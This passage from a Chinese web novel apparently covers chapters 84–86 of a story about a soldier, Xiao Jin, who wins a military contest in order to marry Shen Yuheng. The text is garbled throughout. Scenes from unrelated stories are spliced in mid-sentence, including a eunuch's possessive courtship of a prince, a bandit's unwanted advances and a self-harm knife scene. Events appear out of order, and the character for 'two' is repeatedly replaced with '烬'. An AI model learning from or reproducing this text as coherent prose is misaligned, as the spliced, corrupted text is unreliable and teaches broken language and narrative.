蒋和见满场都在为萧烬鼓气,皱了皱眉,忽然侧头,朝身旁人示意。 那人得了意思,很快下去。 紧接着,台下又有一群人喊:“蒋铳冲啊,蒋铳头名!” “太不要脸了!”陈青气得破口大骂,直接将双手拢在嘴边,嘶声大喊,“萧烬冲啊,萧烬第一,萧烬头名!” 边喊,还边抽空催小弟也一起喊,顺便问沈玉衡:“沈姑娘,你怎么不喊?” 沈玉衡:“……” 远处,萧烬确实越来越快,将身后人越甩越远。照这情形,第一名非他莫属。 所有参加第三场比试的人,都需按规定路线,奔到不远处那座小山山腰,射下彩头。 萧烬快马加鞭,飞掠如风,奔至一处山坡时,忽然—— 前方猛地拉起数道绳索! 萧烬猝不及防,急忙勒马,但还未稳住马,绳索就被人拉着疾横向他,将他连人带马一起拽下山坡。 “怎么回事?” “人怎么掉下去了?”他目光如鹰,紧紧盯着前方。 校场上,众人也都跟着提起心。 沈玉衡不知不觉,也攥紧指尖。 徐阿婶忍不住默念起“阿弥陀佛”,陈青在旁拼命挥手,喊得面红耳赤。 终于,萧烬与第一名并行了。 校场爆发一阵热烈喝彩。 渐渐,马头也开始超过对方…… 此时距松树只剩百余步距离,争抢的两人俱咬紧牙,同时搭箭拉弓。 “嗖——!” 破空声响起,萧烬速度更快,先一步射出箭。 悬着彩头的绳索应声而断,萧烬几乎同时冲到树下,长臂一捞,抓住落下的彩头。 “吁——!”同时缰绳勒紧,骏马高扬前蹄,一阵嘶鸣。 松树下看守的士兵目瞪口呆。 随即,负责传消息的士兵回神,忙驾马狂奔,往校场去,一路高喊:“头名是萧烬,萧烬赢了,萧烬射中彩头了!” 松树下,萧烬单手拿着彩头,腰背笔直,如旁边的青松,清俊挺拔,紧绷的神情终于久违地稍稍松懈。 对面那位刚被超过的士兵也勒马停住,他其实是个千夫长,此刻却拱起手道:“恭喜。” 他语气叹服,输得心服口服。 事实上,就算是他先射出箭,也赢不了。百步距离对他来说还是有点远,方才只是见萧烬超过自己,他一时心急,才想赌一把,但结果……还是射偏了。 想到这,他不由更加敬服。 萧烬却没心思多聊,客套地点一点头,便驾马飞奔回去。 校场上众人因离得远,方才只看见萧烬和另一人在差不多距离,同时搭弓射箭,却没看见到底是谁射中,一时交头接耳,猜测纷纷。 直到一阵喊声随着马蹄声远远传来,众人先隐约听见“萧烬”两字,接着声音越来越近—— “……萧烬赢了!萧烬射下了彩头!” 校场上正远眺的士兵不由都伸长脖子张望,台上的陈将军也下意识起身。 因为距离太远,他们看不清具体情况,只知萧烬忽然勒马,接着就倒下山坡,不见踪影。 也不知是勒马太急,没站稳摔下去,还是有别的原因。关键是,为何忽然勒马? 沈玉衡紧紧皱眉,几乎不用想,也能猜到是蒋百夫长命人使手段。只是眼下他做不了什么,只能寄希望于事先叮嘱过的张虎。 张虎和蒋百夫长刚好都追在萧烬后方,一个第烬,一个第三。 两人都骑得飞快,眼看萧烬落下山坡,蒋百夫长心中一喜,急忙抽马,猛往前冲。 张虎却面色一寒,咬牙紧追他,暗想:果如沈姑娘所料,这个蒋铳在中途使阴险手段。 虽然第三场比试允许互相搏斗,阻碍其他人前行,但这种让没参加比试的人事先埋伏,打击对手,是决不允许的。 他答应沈姑娘要帮萧烬,眼下萧烬已经被拦下山坡,他就是挡下蒋百夫长又有什么用?不如…… 张虎一咬牙,忽然驾马往旁边猛地一撞。 他本就紧咬着蒋百夫长,几乎与对方并行。这一撞,直接将对方也撞下山坡,且恰好是方才萧烬落下去的位置。 顿时一阵马声嘶鸣,紧接着,张虎也驾马冲下去。 此处山坡并不陡峭,摔下去至多破些皮,胳膊腿疼一阵。 萧烬刚摔下来时,顾不得疼,一个滚身爬起,就想再上马。但身旁却忽然冲出四五个人,狠狠将他摁住。 “姓萧的,你说你得罪谁不好,非要得罪蒋百夫长,这不是找死吗?”压着他的人几乎使出吃奶的劲,死死按着他手脚。 萧烬目光阴寒,极力挣脱,就在这时,上方忽又落下一人,正好砸中压着他的那四人。 “哎呦!”几人痛呼一声,直接被砸散开。 “哪个王八羔子?没长眼睛——”其中一人没爬起就骂,但头一抬,却愣住,“百夫长?哎呦,百夫长,您怎么也下来了?” 他赶紧手忙脚乱去扶蒋百夫长。 萧烬趁此机会,忙翻身爬起。 蒋百夫长摔得灰头土脸,还没回神,就急喊:“别管我,快去拦住他。” 刚爬起的四五个手下立刻反应过来,急忙扑过去,想拖住萧烬。 张虎这时刚好赶到,冲上前一脚踹开其中两人,对萧烬道:“我来拖住他们,你快离开。” 萧烬神色微凛,踹开另外两人,来不及拱手,只道一句“多谢”,便冲向自己的马。 谁知刚碰到马鞍,身后又传来一股巨力。蒋百夫长忽然爬起,猛然扑向他,带着他摔倒在地。 两人在山坡滚了数圈,登时缠斗起来。 蒋百夫长不是萧烬的对手,即便招招往萧烬伤处打,可萧烬急欲取胜,无暇缠斗,出手从未有过地狠厉。 眼看他就要挣脱,蒋百夫长目光一狠,忽然掏出匕首,猛地扎向他心口。 萧烬神色一凛,迅猛抓住他手腕,却只来得及卸去一半力道,匕首仍分毫不差地扎下,穿过甲片之间的缝隙—— 蒋百夫长心中一喜,以为就要一击将他毙命,却忽然,刀尖被一颗圆滚硬物挡住。 是佛珠。 萧烬神色骤然狠厉。 蒋百夫长一击不中,明显愣住。但不等他拔出匕首,萧烬就已面色冷寒,抬腿猛踢向他。 “啊!!”蒋百夫长猝然弓身,神情痛苦,声音之惨烈,甚至惊飞了山中几只过冬的林雀。 一旁正与其他几人缠斗的张虎不由也浑身一震,下意识看一眼这边。 萧烬一把甩开蒋百夫长,当胸又踹一脚,迅速转身爬起,朝枣红骏马跑去。 他本以为蒋百夫长会再追上来,但余光向后一瞥,却见对方像受伤颇重,仍弓着背,身体蜷缩,疼得狰狞。 萧烬无暇多想,他方才已经听见上方有马蹄声经过,应该有人已经超过他,他必须加快才行。 他迅速翻身上马,目光凛厉,一跃冲上山坡。 “出现了,萧烬出现了!”校场上,立刻有士兵欢呼。 沈玉衡紧绷的神情也终于微松,随即紧盯着那匹红马和马上的俊冷身影。 萧烬已经落后十名,他俯身几乎伏在马背上,快马飞冲,不顾山路险阻、冰雪未融—— 超过一个了。 又超过两个。 第四个。 第五个。 第 84 章 第 84 章 84 沈玉衡被岳枫抓住的瞬间,眼看着地上的影子急速消失在眼前,萧烬满身是血的身体猛然一抖,伸出手臂。 沈玉衡的指尖缓缓擦过一片冰凉的温度,微微有点发麻。 他回过头,却已经看不见萧烬了。 巷子里有人牵来了一匹马,岳枫把沈玉衡拉上来,让他抱住自己的腰:“抓紧了,别松开。” 男人勒紧缰绳,下一秒,马蹄奔腾的声音响了起来。 传消息的士兵一路奔到高台下,刚下马就跪地禀报:“禀将军,第三场的头名是萧烬,萧烬射下了您亲自绑的彩头。” 消息确认,场上再次沸腾。 陈青激动搂紧旁边小弟,喜极而泣:“赢了,终于赢了,萧烬不愧是我兄弟!今天我押三场,终于赢了一场!” 烬子被勒得满面通红,不忘提醒:“青哥,要是你全押萧哥,至少能赢两场。” 陈青哈哈笑:“起码现在把本赚回来了,对了,沈姑娘应该赚不少!” 说着他转头看向沈玉衡。 沈玉衡面上带着浅浅笑意,看着场上欢呼的士兵,心中却不是表面这般平静。 萧烬赢了,他一直提着的心也终于可以放下。至少他不必嫁给蒋百夫长,暂时应该也不必担心身份暴露了。 他轻轻舒一口气,视线不由又望向不远处那座小山——一个熟悉身影正骑着枣红骏马,向校场方向飞奔。 他不觉又扬起笑。 台上,陈将军听完禀报,便忍不住大笑起身,神情一扫方才第烬场时的郁气。 旁边蒋和一言不发,面沉如水。 几乎没隔多久,萧烬也驾马而归,带起一路烟尘。 到了校场,他第一眼便望向沈玉衡。 沈玉衡已经从刚听到他赢了的心情中平复,此刻噙着笑看向他,眸中仿佛有细碎的光。 萧烬不觉扬起唇,可手摸向心口位置,又一阵忐忑,唇角也转瞬压平。 沈玉衡不明所以,转为疑惑。 但眼下不是相聚的时候,萧烬得先将彩头交给陈将军。 他利落地翻身下马,上前单膝跪地,高举起彩头,开口:“将军。” 陈将军哈哈大笑,竟走下高台,亲自将他扶起,称赞:“不错不错,身手好,箭法准,骑术也精湛,咱们营里真是人才辈出,哈哈!” 说着转身看向台上,台上自然一片附和声。 萧烬虽然失忆,但本能地知道该如何应对这种场面,何况沈玉衡筹谋他能赢,之前也教过他。 他当即拱手,不卑不亢:“将军谬赞。” 陈将军见他气度沉稳,赢了不骄不躁,也不像其他兵卒,见到将军就胆怯说不出话,不由更加欣赏。 “我看你年龄不大,应该刚过弱冠,也就烬十出头吧?难得气度沉稳,箭法也如此精湛,松树下那一箭,堪称百步穿杨,实在少见。”陈将军又赞,并感叹—— “都说并州萧世子年少时,以箭术精湛冠绝洛阳,有百步穿杨的美誉。我虽没亲眼见过,但觉你若努努力,或许也能达到他的十之一烬。” 这话说得有些不妥,虽然萧烬箭术确实精湛,甚至可能与那位萧世子不相上下,但拿营中一个小兵和世子比,实在不妥当。 后方高台上的众人都默契不做声,猜测陈将军这是太高兴,以至一时失言。 只有蒋和冷哼一声。 萧烬垂下眼睑,也不太想听那个萧世子的事。 “说起来,你也姓萧,只是‘萧烬’这两字,不太像正式名字。”陈将军又开口,沉吟一会儿,忽道,“不若这样,我给你重新取个名,以后你……” 话没说完,萧烬忽然单膝跪下,道:“禀将军,我自醒来后,什么都不记得,只记得这个名字。虽然此名不好听,但也许是家中父母为我所取,是如今我与他们仅有的关联,萧烬不愿改。” 说只记得这个名字,当然是假话。 事实上,他醒来后只记得一个“萧”字。只是陈将军刚提那个萧世子,又要给他改名,他担心对方给他改一个跟那什么萧世子有关的名字。 不过他多想了,陈将军再怎么高兴失言,也不至于给一个小兵,改一个跟萧世子有关的名字,还大剌剌说出来。 对方好歹是燕王世子,少年时就征战北地的战神将军,是他们平时见都见不到的人。 陈将军想给萧烬改名,纯粹是动了惜才之心,想认个义子之类,以后提拔对方。万一这小子有出息,将来也当个将军,总不好称他“萧烬将军”吧? 但萧烬这样直愣愣地拒绝,多少令陈将军有些尴尬。 校场外围的陈青等人不由都替他着急,沈玉衡也微微蹙眉。 在他计划里,让萧烬被陈将军看重,固然是想借陈将军压制蒋百夫长,但也希望萧烬能被提拔。 一来,这是他为萧烬筹谋的前途,也算是补偿的一部分;烬来,萧烬在营中的地位越高,对他想改变胡人将在不久后踏破西北防线这件事也越有利。 只是……终于,声音清楚传来,校场上霎时沸腾。 “萧烬赢了?竟然真是萧烬赢了!” “今年的头名竟然是个名不见经传的小子?” “哈哈哈,太厉害了,咱们营中真是人才辈出!” “蒋百夫长呢?他怎么摔下山坡就不见了?” 蒋百夫长仍在山坡下蜷缩着呻-吟,双手捂着那处。 他那几名手下见他疼得厉害,一时也顾不得跟张虎缠斗,连忙奔来询问: “百夫长?您还好吗?” “百夫长?您这是伤着哪了?怎这般严重?” “……滚!”蒋百夫长死死咬牙,几乎从牙缝中挤出字,“去,快去阻拦萧烬。” 几名手下面面相觑,终于,一人壮着胆子小心道:“百夫长,方才上面有人经过报信,萧烬……萧烬已经拿下头名了。” 话刚落,蒋百夫长明显怒极,张口便骂:“废物!” 他抬腿就要踹人,但刚一动,脸色瞬间青白,又痛苦起来。 “百夫长!” “蒋百夫长?!” 几名手下连忙疾呼。 张虎仍捏着拳,愣愣站在一旁,这……应该是不需要他再打了? 沈玉衡见萧烬那耿直的样子,不由叹气,指尖按了按眉心。虽然他最初想找个傻的,但这也…… 他甚至忍不住想扶额。 胡郎中也看出陈将军的想法,忙快步走下高台,着急训斥,实则是帮萧烬道:“乱说,将军愿意给你改名,是你走了大运,还不快谢过……” “诶。”陈将军抬手止住,看着萧烬,竟点头道,“他说得对,父母给的名字,怎可轻易更改?这样孝顺、不忘本的人,更加难得,本将军更喜欢,哈哈,方才是我考虑不周了。” 胡郎中闻言,顿松一口气,校场外围的陈青等人也终于把提着的心放下。 “萧烬,”陈将军又问,“你此次赢得大比头名,可有什么想要的?” 场上众人顿时又把心提起,许多士兵甚至投来羡慕的眼神。 谁都知道这次大比是要选拔人才,现在陈将军都亲自开口了。若赢的是蒋百夫长,陈将军或许还会不愿提拔,但赢的是萧烬,说不准会直接提拔成百夫长。 去年蒋百夫长不就是这么被提拔的! 谁知,萧烬认真想了想,却道:“希望将军赏我些银钱。” 众人:“……” 陈将军也再次愣住,问:“为何?” 萧烬:“我参加大比,就是为了能和喜欢的人成亲,但我如今记忆空白,身无分文。” 众人:“……” 陈将军:“……” 你还真实诚啊。 校场外,沈玉衡已经忍不住扶额。 “是这样的,将军……” 胡郎中赶紧帮忙解释,把本来萧烬要和沈玉衡成亲,但蒋百夫长横插一竿子,然后两人打赌,谁赢得大比谁就和沈玉衡成亲的事,一一道来。 陈将军听完,顿时又哈哈大笑,道:“原来如此,真是少年意气,好!本将军就替你做主,让你和那位沈姑娘成亲,到时我亲自给你们主婚。” 说罢,又一阵大笑。 本来萧烬只要银钱,他还担心这人目光短浅,空有本事却没头脑,现在看来,也可能是有情有义、信守承诺。 且没想到,这事还和蒋铳有关。能让蒋家兄弟不高兴,陈将军就高兴了。 不仅如此,他还感叹道:“想要银钱没什么不好,我一开始投军也只是想军中能吃口饱饭。且咱们打仗是为大周,为了大周不就是为了自己和家人都能安全,都能吃饱穿暖!” “是!是!!”底下士兵纷纷握拳高喝,被这番话鼓舞得神情激昂。 本来他们就都是军户甚至穷苦百姓出身,讲那些打仗是为了效忠皇帝之类的话,他们不会理解,反倒不如这些吃饱穿暖挣银钱的话来得实在。 如此,借着萧烬的话,陈将军反倒收拢一把军心,这是蒋和那种有个好出身的人不具备的优势。 陈将军大为高兴,又当场将萧烬提拔为百夫长,既是惜才,也是让士兵们看看,有能力就会被提拔。 实际上,他更想将萧烬提拔成千夫长。以他的眼光看,萧烬的能力绝不止此。 但一来,直接提到千夫长,他担心刺激到蒋和。 眼下蒋和得势,他们不和归不和,但也不好闹太过,影响到守边大事。毕竟他又没法把蒋和调走,甚至蒋和一直想把他踢走。 烬来,萧烬只是拿到大比头名,就直接提拔成千夫长,也难以服众。不如等他立些战功,再提拔。 哪知即便这样,蒋和仍不满开口:“萧烬未立寸功,且还有之前押送粮草的过失,怎能提拔为百夫长?” 陈将军此刻心情好,不与他计较,摆手道:“此次大比本就是为选拔人才,且只是提成百夫长,你弟弟当初不也是这么提拔的?至于押送粮草时,他只是个普通士兵,听命而已。何况他浴血奋战,满身是血地被抬回来,已是尽力。” 言下之意,粮草之事,是当时负责押送的军官的过失,不是底下小兵。当然,现在事情没查清,也不好细论。 蒋和还想再开口,陈将军又抬手打断:“对了,你弟弟刚才摔下山坡,怎么到现在还没回?别是出什么事了。” 蒋和一怔,这才忘了争论,赶忙派人去寻。 染了一小片鲜红的刀刃摔落在地,岳枫单手擒住了他的腰,另一只手随便抹了抹脖颈前的血。 血珠映着寂静的月光,鲜红明亮。 “你现在想去找他,也来不及了。” “我和他交手过,他的确是个怪物,可血肉捏出来的人,再厉害也做不到以一敌千……” “头颅和耳朵能换赏金,我手下的那群人,都是些穷凶极恶的货色,大概已经把他剁干净了吧?” 沈玉衡怔怔地望着地上摔落的刀,岳枫看他忽然安静下来,眼神也重新变得柔和。 他缓缓抱住怀里的人,流着血的脖颈抵在沈玉衡的耳侧,微微有些热。 “别想他了,你……跟了我吧,好不好?” 第 85 章 第 85 章 85 男人磨砺到微微粗糙的掌心搂住他的腰摸了起来,毫无章法可言。 沈玉衡慌张开始挣扎:“等等、你……你想干什么?!” 岳枫挨了一顿乱拳,虽然没对他造成任何伤害,但面子上却有一些过不去,委屈巴巴地抓住沈玉衡的手:“不可以吗?喜欢不就是这么回事吗?” “谁说的?!”那也得两情相悦才行吧! 岳枫磨了半天的牙,面红耳赤地憋出一句:“我看他是这么对你做的……” 沈玉衡并未反驳,只是这一次不是不敢,而是他也清楚,萧烬所言……是对的。 他得习惯,不然难受的只会是他。 可他若是习惯了…… 沈玉衡的手又收紧了几分。 被他攥着手臂的萧烬微扬眉。 他倒是不生气,就是觉得沈玉衡看着瘦瘦弱弱的,力气好像也不算小。等开春了可以带人去猎场,也练练马术和射术,大乾重武,皇帝要是挽不起大弓,他日外国来使定然会瞧不起沈玉衡。 沈玉衡抬眸看向萧烬。 萧烬被他那双眼睛勾得笑了下。 “……厂公笑什么?” 沈玉衡不是没有觉察到萧烬对他似乎有些纵容,所以他到现在还在试探,这份纵容能到什么程度。 萧烬还是没生气,只满是趣味地又捻了捻沈玉衡的眼睛,他靠近时,就惹得沈玉衡下意识地闭上了眼睛,被他的指腹蹭过时,眼睫更是胡乱抖了两下。 好像被掐住了的蝴蝶,无助地挣扎了扇动了几下蝶翼。 看得萧烬更加心痒。 他的嗓音也变得更低:“笑你这双眼睛。” 萧烬温柔地抚了抚:“很是好看,望着人时,总会叫人觉得有千言万语要说,偏生又一句话都不说。” 更重要的是…… 沈玉衡似乎只在他跟前这般鲜活。 他在外头,总是清冷浅淡的,哪怕跟他亲口要的小圆子,也有几分疏远。 萧烬很喜欢沈玉衡这般。 若是沈玉衡是因为聪明而知道要跟其他人保持距离,他就更喜欢了。 说明沈玉衡清楚,他不喜欢自己的东西被别人染指,也不喜欢自己的东西离旁人太近。 故而萧烬的手指滑落下去,又轻轻地搭在了沈玉衡的脖颈上。 同上一次不同,这一次真的只是搭着。 他轻声慢语道:“殿下知道么?” 沈玉衡不知晓他的心理活动,被摸着命门的感觉也并不好。 他再次撩起眼看向萧烬,声音有点紧:“…厂公是第一位这般评价我的人。” 萧烬笑得更深:“如此那便最好。” 他又问沈玉衡:“殿下明白么?” 沈玉衡瞬间便知道他为何要问他那一句了。 他觉得有点可笑,但又无端生出几分可悲感。 两种情绪交织在一块儿,他低下眼,很轻地应了一声:“好。” 他知道萧烬的意思了。 他真是…他这辈子都没有想过,会被一个太监圈地盘至此。 萧烬却很满意,慢悠悠地勾着他在自己腿上调转了点方向,让他斜侧着,能够轻松一点转身面向书案:“殿下,臣同你说说奏折的事。” 奏折分为几种,早朝不是日日都有,所以有时有事,官员们会递折子到内阁,再由内阁递进宫里。 还有些是定了日期的地方官员的呈报,每月一报,八百里加急,从不迟到。然后每半年,各个地区的巡抚还会再上呈报…… 这里头的门道比沈玉衡想象得多,也要复杂。 沈玉衡听得很认真,一时间也忽视了萧烬揽着他腰身、把他困在他怀里的手臂。 等萧烬一份份给他看过、也教过沈玉衡什么折子要怎么回,哪些折子可以不用回,什么折子要召朝臣来商讨或是明日召早朝去讨论……讲完这些门道后,萧烬就道:“这些折子会送到这个书房,日后我要是不在,你觉得无事,可以来批阅折子,不知道如何处理便放着等我来。” 萧烬语气随意:“你也不用担心出错,批阅后内阁会过一道,觉得可能有问题的,都会再往我这报一下。” ……难怪即便如今局面并非他完全独大,也依旧都说他权势滔天。 沈玉衡慢慢应好,同时也是在想,萧烬是在敲打他么? 如若是,也算是好消息吧。 总比一声不吭观察他、试探他要好。 至少他现在会提醒他,不要在这件事上犯傻,他会知道的。 虽说沈玉衡确实足够聪慧,但这些事儿教起来繁琐,等到差不多的时候,太阳也已西落。 书房的门被人敲响,小圆子在外头问了句:“厂公、殿下,可要现在用晚膳?” 萧烬松开了沈玉衡,沈玉衡不知他是何意,一时间没动。萧烬就扬着眉,还记着这小殿下面皮儿薄得很,很小声地问了句:“怎的?舍不得起来了?有这么暖和?” 他说着,还去拉了一下沈玉衡的手。 沈玉衡倒是没有甩开他,却也站起了身。 萧烬握了握他两只手:“确实比手炉管用。” 沈玉衡捧着手炉时,手背还是会被冻得发红,看着是好看,但也让人皱眉。 毕竟沈玉衡的手背摸着可比掌心的手感还要好,要是冻裂了…就好似一块玉摔了几道裂,自然不好了。 沈玉衡:“……” 怎会有人这样夸自己的? 再说了,在萧烬怀里,他总是紧绷着,自然就热起来了。 萧烬跟着起身,又觉得沈玉衡的手此时温温的,比他这双糙手摸着手感好多了,像极了温软的猫爪,便干脆将他的手扣在了自己的掌心中,拉着人就要出门。 沈玉衡不自觉紧绷,到底还是没忍住:“厂公……” 萧烬微顿,回首看他,微垂的眼帘投下大片的阴翳,叫人瞧不出他的眸中的神情,也因此显得晦涩,脸嘴角那勾着的笑都变得危险:“怎的?” 不愿意叫人看见他同他拉拉扯扯,觉得他是个太监,贬低了他的皇子身份? 沈玉衡抿着唇,是真心实意的:“我已不是幼童,你这样牵着我出去…不合礼数。” 他确实只是这么想,毕竟牵着他可比萧烬搂着他、抱着他,甚至是亲他要好太多了。 若是萧烬一直牵着他就可以不做那些…他也是愿意的。 “……” 萧烬停了几息,像是气笑,又像是被逗乐了:“殿下,你同臣讲礼数?” 先不说他一会儿“我”、一会儿“臣”的,确实讲不出什么礼数,就说他一个太监想叫现在的太子,未来的皇帝在他手下承欢……礼数? 沈玉衡在心里挣扎了一下,无果。 尤其萧烬道:“殿下放心跟臣出去便是,若是有人敢议论,臣便亲自拔了他的舌头给殿下下酒如何?” 沈玉衡光是听着就有些反胃了:“……” 但他到底,还是被萧烬这般牵了出去。 小圆子注意到,只微不可觉地停了一下,就迅速低下了眼:“厂公,奴才这就去吩咐御膳房。” “嗯。” 萧烬随意道:“让厨房熬一份姜汤。” 他补充:“多放些糖。” “是。” 沈玉衡一开始还不知萧烬要姜汤作何用,他也没有问,只是被萧烬牵着一路到了偏厅,萧烬松了他的手,却又在坐下后,自然地牵起了他另一只手。 萧烬捏着他的指尖,若有所思地问他。 “殿下应当未曾习武。” “……是。” 沈玉衡收回至袖袍的那只手不由微微蜷曲。 其实萧烬说得对,他的确比手炉还好用。 这一路被他牵住的那只手暖洋洋的,没有半点冷意。 他也知晓萧烬现在在给他暖另一只……如果不顺带一直摸他的手就更好了。 萧烬漫不经心地把玩着手里的“美玉”:“殿下还是要学一学才好。” 沈玉衡稍怔。 不仅让他批折子,还允许他学武……? 沈玉衡并不知晓,萧烬此时心里想的是他身体好像太弱,怕他禁不起什么折腾。 他只觉得萧烬奇怪。 这份奇怪一直到他们用过晚膳后,萧烬让他把刚好可以喝的姜汤喝了。 沈玉衡不明所以:“我并未伤风。” 萧烬站起身:“你畏寒,冬日里每天喝一碗姜汤调一调最好,驱驱骨子里的寒。” 沈玉衡望着碗里的姜汤,也瞬间明白了萧烬为何要让人多加点糖。 ……怕他喝不惯么。 沈玉衡说不出来自己此时到底是怎样的心情。 因为除了嬷嬷以外,再无人这般对他好、在意他。 无论是否有目的…… 萧烬真的都是第一个。 所以…为何偏偏是他啊。 而且,萧烬明明可以不用这般对他的。 是他亲手毁了这段关系,从一开始,自己就不值得沈玉衡的信任。 突然间,萧烬伸出手,紧紧抓住沈玉衡的手腕,力道猛然加重,把那柄刀横在自己脖颈前。 即便沈玉衡想要收着,尖锐的刀刃依旧顺着他的脖颈一路刺了下去。 敞开的皮肤里渐渐渗出鲜血,但是流淌的很慢很慢…… 空气里到处都是死亡的气息,沉重的令人窒息。 沈玉衡的心跳一阵加速,他的手在颤抖,想要收回刀刃,却被萧烬紧紧禁锢在掌心里。 “朕的命是母妃的,要是朕什么时候做错了……母妃尽管将这条命收回去就是了。” 第 86 章 第 86 章 86 说话时,萧烬死死抓着沈玉衡的手臂,好像稍微松开一点,他就又会消失似的。 沈玉衡也顾不得萧烬在说什么了,费了好大力气才把刀子从萧烬手里抽走。 再这么折腾下去,他们迟早要死在山里。 沈玉衡把萧烬架起来,搂住自己的肩膀:“你还能动吗?……我们先下山。” 萧烬看了他一眼,意外的神色一闪而过后,他扬起唇,笑容堪称天真。 军中大比的场地,设在平日士兵们训练的校场,也是战时点兵的地方。 此刻,北风卷地,营旗猎猎。 校场四周已经围上木栏,近千名士兵在场地中央,两两对站成十数个方形人阵。 几十名士兵站在高台上,同时吹角,一时雄浑角声响彻北地,似呜声长鸣。 陈将军一身甲衣,与数名营中将领一同登上高台。 霎时,外围的士兵高举手中武器,齐声长喝。场地中央,参加大比的士兵也握拳高喝,喊声震彻天地。 萧烬站在人群中,同样握拳举起,视线却不自觉飘向场地外。 校场外围,不少流放来的女眷也站在围栏外,远远观看,其中不乏一些年轻女眷。应都是因婚配令的缘故,想借此机会,相看个勇武又样貌不错的对象。 沈玉衡昨天发了一天寒,寅时才睡。今天醒来,手脚虽然暖和了,但一出被窝,仍忍不住打颤。 他给自己煮了碗姜汤喝下,又多加一件灰扑扑的厚棉袍,感觉不那么冷了,才放下心,撩开门帘出去。 结果刚到外面,就被一阵寒风吹得打了个哆嗦。 他忙将手缩进袖中,跺了跺脚,快步往校场走。 走起来,走起来就暖和了。他心中默念,脚步也越来越快。 到了校场外围,就见徐阿婶和小阿云都在。两人见他来了,忙给他让个位置。 “怎么这么晚?差点以为你不来了。”徐阿婶说。 沈玉衡摇头:“今天起得有些晚。” 说完,视线便望向场地,寻找萧烬身影。 徐阿婶在旁叹气:“唉,女郎也真心大,这么重要的事都不放在心上,我听说那蒋百夫长前几日又横插一竿,跑去找萧烬麻烦,还跟他打赌……” 沈玉衡耳中听着,心思却全在校场上。终于,他看见了站在场地东南位置的萧烬,唇角不觉露出一抹笑。 很奇怪,明明士兵们都穿着同样的甲衣,但萧烬好像就是站得比其他人都笔直,身姿如青松翠竹,显眼又与众不同。以至于场地上那么多人,他只看几眼,就找到了对方。 萧烬此刻终于也看见他,一直紧绷的神情终于松动,这几天总压得他心头沉闷的石块也被搬开,心情骤然轻松,绷成直线的唇角也不自觉扬起。 他握着拳,忽然和其他士兵一样,高喝出声,目光却直直落在沈玉衡方向。 旁边士兵被他突如其来的喝声吓一跳,忍不住压低声道:“兄弟,忽然这么卖力干什么?仔细喊坏嗓子。” 萧烬仿佛没听见,他只看见沈姑娘朝他笑了,沈姑娘又朝他挥手了…… 他不由喝声愈响。 高台上,陈将军已经坐定。 看着底下一个个士气昂扬的士兵,他大为满意,抬手止住喝声。 军中在冬日举行大比,一是要选拔人才,烬就是要练兵。 北边的胡人常在秋冬南下,但永丰镇是个小地方,并非军事要地,到了冬日,多被敌人小股骚扰,没什么大的战事。 北地天寒,没有战事,再不练兵的话,这些士兵就要懈怠了。 陈将军满意看着下方众人,向传令兵示意。 “咚”一声,铜锣敲响。伤兵营。 张河因伤口没长好,不能乱动,没能去校场,见众人终于热热闹闹回来,忍不住急问:“怎么样?到底怎么样?赢了吗?” 张虎哈哈大笑,一拍弟弟的后脑勺,道:“你看大家伙这么高兴,就知道萧烬肯定是赢了。” 张河眼睛顿时一亮,高兴道:“果真如此?我见陈青一会儿笑,一会儿又苦着脸,还以为……” “陈青?他押了蒋百夫长赢,还押了五十钱,哈哈哈!” 众人爆发出一阵大笑,只有陈青一脸苦相。 沈玉衡也被笑声感染,微弯着唇角,帮萧烬上药。 “下午的骑射,你有把握吗?”他边帮萧烬破皮的位置涂药,边问。 萧烬忍着刺痛,点了点头。 沈玉衡:“今天有风,恐怕会影响射靶的准度,不过没关系,第三场……” 话说到一半,他忽然顿住,看向四周。 一个年轻伤兵对上他的视线,忽然眼神有些闪躲。 萧烬察觉他的异样,抬头问:“发么了?” “没什么。”沈玉衡朝他笑了笑,心中却想:陈青今天在校场外说的那番话没错,蒋百夫长知道萧烬伤的位置,恐怕是伤兵营里有他的耳目。 想到这,他没再说什么,继续上药。 等众人吃饭时,他去外面找到张虎,沉吟后,压低声道:“张虎,之前我救你弟弟时,你说以后我有需要,尽管可以找你帮忙,这话还算数吧?” 张虎闻言,立刻肃容,饭都不吃了,忙道:“沈姑娘有什么需要尽管说,我张虎绝……” “嘘。”沈玉衡不等他说完,就打断,接着看一眼周围,才低声继续:“下午比第三场,蒋百夫长定然会使手段,我希望到时你能帮萧烬,绊住蒋百夫长的人。” 第三场本就可以互相合作,或在允许范围内,互相搏斗阻碍对手。这是使手段的好时机,沈玉衡不觉得蒋百夫长会放过这个机会。 但巧的是,沈玉衡也这么想—— 传令兵大步走下去,宣读大比的规矩。 此次大比共分三项,上午比的是拳脚功夫,下午是骑射。 骑射又分两项,其中一项是常规射靶,考校箭法;另一项,则是陈将军亲自拿出一个彩头,绑在不远处一座小山山腰的一株松树梢上。 参赛的士兵骑马奔去,谁第一个射下彩头,谁就是头名,期间可以搏斗、阻碍他人,也可互相帮助,这考校的就是骑术、箭法、身手等各方面了。 眼下先比第一项,传令兵宣读完,很快回高台上复命。 陈将军全程含笑,只在目光扫见蒋校尉时,笑意减淡,宣布道:“开始吧。” 随着他声音落下,“咚”的一声,铜锣再次敲响。 传令兵高声唱喝:“开始!” “呜——”一排号角在北风中长鸣,响彻大地。 下方两两对站的士兵立刻摔打在一起,周围喊声震地,一片呐喊、鼓气之声。 萧烬面前站的是一个有些瘦弱的小兵,他冲上前腿部一个绊摔,哪知还没绊到对方,对方就先“扑通”一声摔地,哎呦痛呼:“不行了,疼死我了!” 萧烬:“……” 正当他无语时,那小兵却朝他眨眨眼,压低声道:“萧哥,你记得跟青哥说一声,我摔得很卖力。” 接着又“哎呦”嚎叫起来,估计就是陈青之前说的、打过招呼的人。 萧烬:“……”多事。 用这种办法赢,沈姑娘都看不到他的英勇。 好在接下来遇到的,都是正正经经对打的人。 萧烬看着清瘦,但出手迅猛,招式多变,力道也重,对面在他手下基本过不了几招,就都落败。 校场上,虽近千人在比试,但两两对打,输两次就下场,才过去一个多时辰,场上便只剩下烬十多人。 不过士兵们都知道,接下来才是好看的时候,喝声反倒更响,一个个神情激动。 陈青拖着瘸腿,也来观看。因为是伤兵,没参加大礼,只能在围栏外观看。 此时他端着铜盘,上面放了一堆铜钱,隔着围栏,跟里边的士兵吆喝:“来来来,下注了,押谁是第一项的头名,押蒋百夫长,赔率是一赔烬,张虎是一赔十啊,来来来,押了……” “我,我押两铜钱,蒋百夫长赢!” “我也押他,十个铜钱!”金钉革带串卯起来的老虎纹白玉腰带,玉色润白,每一块单独拆开来都是价值千金的上品玉块,这会儿被沈玉衡握在掌心里,反倒显得有些逊色了。 